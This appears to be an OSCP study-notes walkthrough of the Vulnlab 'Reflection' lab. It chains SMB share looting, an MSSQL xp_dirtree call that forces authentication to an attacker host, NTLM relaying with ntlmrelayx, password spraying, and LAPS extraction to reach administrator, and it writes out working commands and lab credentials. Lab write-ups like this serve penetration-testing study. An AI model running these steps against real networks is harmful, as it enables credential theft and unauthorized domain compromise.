> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/vuln-lab/reflection-vulnlab.md).

# Reflection

Enumerating the smb shares of machine #3 we find creds: ![](/files/4nvGsSiK0ClEwW6CcLDV)

Using these creds to login to mssql on machine #3 we get other creds:

```
mssqlclient.py web_staging:'Washroom510'@10.10.143.69
```

![](/files/w7LBe9Tsz8tzvv0iDehQ)

Now password spraying we find other accounts with same password: ![](/files/ivl3AEFQUsaUxMvhigkW)

Now doing NTLM Relay attack we get hash for an account:

```
exec xp_dirtree "\\10.8.1.208\share"
```

![](/files/L0oSY8CG6NX6w65L8jRk)

Now checking if message signing is disabled:

```
nxc smb 10.10.143.69-71 --gen-relay-list relay.txt
```

![](/files/DloiGY0fIEEEGsmtQT88) It is false

So starting an ntlm relay:

```
ntlmrelayx.py -tf targets.txt -socks -smb2support
```

Now we can access shares

```
proxychains smbclient \\\\10.10.197.101\\prod -U REFLECTION/SVC_WEB_STAGING
```

Now get new creds: ![](/files/G5IUvJZ4xKP6cwtCqe5a)

Now we can check with mssql on the dc: ![](/files/cTocwXD1qzprtelmeQz6) We get passwords from the prod database on DC. ![](/files/txBDhPMgyakXOcvKzILl)

Now trying responder: ![](/files/xc2zSfkQZSWOpkx07pvk) We get another user. We cant use nlm relaying as it doesnt work

Now password spraying all passwords we have with the users:

```
nxc smb 10.10.197.101-103 -u users.list -p pass.txt --continue-on-success
```

Now we can use bloodhound: ![](/files/P3GP2Dgs1ZvYwbaxslR5)

But checking MachineAccountQuota: ![](/files/xrkDjDqYEe6gN0iGFi6W)

Now we can try to get laps password

```
nxc ldap reflection.vl -u abbie.smith -p CMe1x+nlRaaWEw -M laps
```

![](/files/vhswKmadvk8zQHS7Zoyn)

With this password we can try to password spray:

```
nxc smb 10.10.197.101-103 -u users.list -p "H447.++h6g5}xi" --local-auth --continue-on-success
```

![](/files/YbnK1aiel6fFSgmO8T2K)

We got the administrator on ms01